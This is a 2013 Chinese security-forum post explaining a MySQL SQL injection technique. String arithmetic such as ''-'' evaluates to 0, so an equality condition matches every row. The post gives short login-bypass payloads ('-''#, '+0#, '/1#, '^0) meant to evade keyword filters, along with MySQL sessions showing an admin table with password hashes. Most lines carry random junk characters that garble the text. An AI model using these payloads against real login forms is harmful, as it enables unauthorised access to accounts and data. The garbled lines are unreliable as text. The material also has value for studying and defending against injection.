找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2332|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。) Q. `5 u4 n' U2 C' h' U
有以下表结构:
% z7 y6 n/ v" c4 o2 b- ]. p! ~0 T) e, ^# q
mysql> desc admin;  v' \3 e  e. o# x( y# L2 W+ G
+----------+--------------+------+-----+---------+----------------+* x3 h2 ]5 i! g4 O4 s
| Field    | Type         | Null | Key | Default | Extra          |! b- w2 C7 @( f% \' d# o
+----------+--------------+------+-----+---------+----------------+
, t# B2 e- n4 q" [0 || id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
& K. T/ X$ q0 O. U$ C| name     | char(32)     | NO   | UNI | NULL    |                |
7 }/ l4 n3 o% d3 j; T| password | char(32)     | NO   | UNI | NULL    |                |
0 s! F4 j+ H" X* i+ n+----------+--------------+------+-----+---------+----------------+: l3 Q6 k1 a, |) Y( p
3 rows in set (0.00 sec)
! e' X( U' o+ |2 e* E执行select * from admin;,成功返回所有记录内容。
5 u9 @3 v( j. Q7 Y7 c& c8 c2 }) Z5 q- q
: o+ Y5 Q0 ?" f. b* Z+ t! Q
+----+--------+----------------------------------+
: G( B0 K' O  K0 S" t| id | name   | password                         |9 S1 ]) Z: r9 n3 \' K
+----+--------+----------------------------------+8 X! Z, [9 U" A; c! a& S9 w8 {, ~. v
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
  b. N  ]1 ?9 h4 J% H4 ?: n|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
2 P5 P# o4 K5 R4 w2 K3 D' n|  4 | n00b   | ff80e8508d39047460921792273533a4 |: P/ q; V- B. S) _: H
+----+--------+----------------------------------+9 S; k8 h# ]1 P" Q. a1 p6 K
3 rows in set (0.00 sec)3 O  o9 l$ {7 B' v0 u: I
执行select * from admin where name=”;,没有匹配到任何记录。 / u& e3 }6 o2 \* z
0 i# b) `& b4 m2 `  K% C1 \- {
mysql> select * from admin where name = '';1 A; {0 Z  r0 G5 x! |& l
Empty set (0.00 sec)
+ L) b5 n( E: ~: T1 N' W: K5 D1 s$ S( |那么我们来执行select * from admin where name = ”-”;
( \4 C! I& L& I5 R: m1 h3 @0 n9 a- O$ t
# m. y' U' u* P1 l
+----+--------+----------------------------------+
  e3 ?* Y, o, e| id | name   | password                         |% J% C/ W' V) {" V4 h3 Z
+----+--------+----------------------------------+5 Y- k# V8 W9 I
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
$ J# c+ ~1 w" R9 U# `( z( j|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
9 G3 e& A. r$ P" Q% ]) s: r|  4 | n00b   | ff80e8508d39047460921792273533a4 |
$ e* ]& k) V, s1 B% f+----+--------+----------------------------------+
7 g4 Y# t! P* ^/ R5 G3 rows in set, 3 warnings (0.00 sec); ^# q4 N+ n8 O! y
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
9 T2 F  i& ~6 G& ~' w! p6 T, P4 B' t9 h- f4 z( I7 x! N
mysql> show warnings;
1 b& n; x4 \9 d7 k9 c* W+---------+------+------------------------------------------
0 |& I5 `# v5 m' P5 I3 A| Level   | Code | Message
  W9 T8 t( ^2 G% W' r7 c+---------+------+------------------------------------------
1 @; m0 q, n! z1 ?9 |2 e4 ^| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin/ z/ d  }/ ?: `( R# v' l5 x. n
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
2 |" m$ T6 b$ t, i4 m1 y5 }4 \  H| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
* T0 |! L! z  e+---------+------+------------------------------------------0 N; a+ q5 y9 J" w2 E" W
3 rows in set (0.00 sec)( T: _' p$ Q# O$ n/ e! V/ m
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 7 @4 c2 M& a3 J, B0 `! e& J6 ^

6 {6 F& U4 m1 l& v  Fmysql> select ''-'';
2 Q, d# }( n# f2 V+-------+
( C  u1 E5 @/ J2 `: ~( i) [| ''-'' |, H3 g$ J. A' N( I, V1 p/ s' s
+-------+
7 W7 e8 ]; b3 w" w% s|     0 |, r$ c" t& ]: L4 e3 t
+-------+
2 F0 q6 h' Q% d3 J0 ?6 b1 row in set (0.00 sec)
( Y4 V/ f" j7 m; }2 S返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 9 I" \: l+ Z' n# a3 y. r

; [  k9 `. V9 _7 z% J1 ]mysql> select CAST((select name from admin limit 1,1) as DECIMAL);3 D2 W- U, U# u- b: m
+-----------------------------------------------------+0 Y9 n6 o/ d" t2 t
| CAST((select name from admin limit 1,1) as DECIMAL) |
8 w  g' ]# n* o5 y; {# l# @+-----------------------------------------------------+
: n4 z! t/ z& r& Y|                                                   0 |3 p* C' c7 J1 |
+-----------------------------------------------------+) q* ]) Q6 B! l- }0 T% h
1 row in set, 1 warning (0.00 sec)
7 x- A* [, @0 p: l5 t& g因此where语句构成了相等的条件,where 0=”=”,记录被返回。
) c: ]. d) I; r' R# a9 S" {" Q5 K! r$ u" v
SQL注入场景: http://www.sqlzoo.net/hack/
( O: V: W1 E8 q, A
3 {! X6 Q9 H) X0 E
" v& ?4 \9 V' T8 E) `: C4 W1 o) l+ ~' Q- V# [# ^0 `& V- Q
8 x. _. i9 [! M7 I: j% E
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 + u  y4 z) ]9 a
0 L6 r! H& \4 n/ m% p: F  K
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 8 Y0 }6 @+ R, Q, Z
" C# Q# ]5 T% t7 E4 F
! i$ Q- K& ]' o
" M' C# i. o1 J
9 B& H0 x2 n8 b! K9 j+ Y4 u
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
2 p" p( F# }. j2 b5 q1 q( d! n5 e! y9 w
   / F/ o) C3 |' T; q3 k
7 A; ^& h% v8 p6 M
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可" a+ j! P- u- Z4 |& T1 _
: j: ?3 U2 u# d4 i" ^% {3 C/ B) X9 I
: u0 @& Y4 o5 L' I$ ]1 a
mysql> select ''/1;
) P/ p8 ?5 u( T7 |& g& ~+------+
/ \9 V5 k9 d" M/ ]/ m| ''/1 |
! B6 k0 b" q4 x& U* @. M9 a+------+
$ r- u2 s9 u/ U  G# r# s, o|    0 |, h' v% h% e" [  {
+------+
3 |5 R! ~; t7 g: L. g; R# {; z/ z, O1 row in set (0.00 sec)# _8 F/ I1 L% _3 d
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  : L5 u% U: h9 k# p" D. V, c# {
% r/ v0 A7 x* J7 h  r
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。4 s9 W- O0 [- ^% `
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表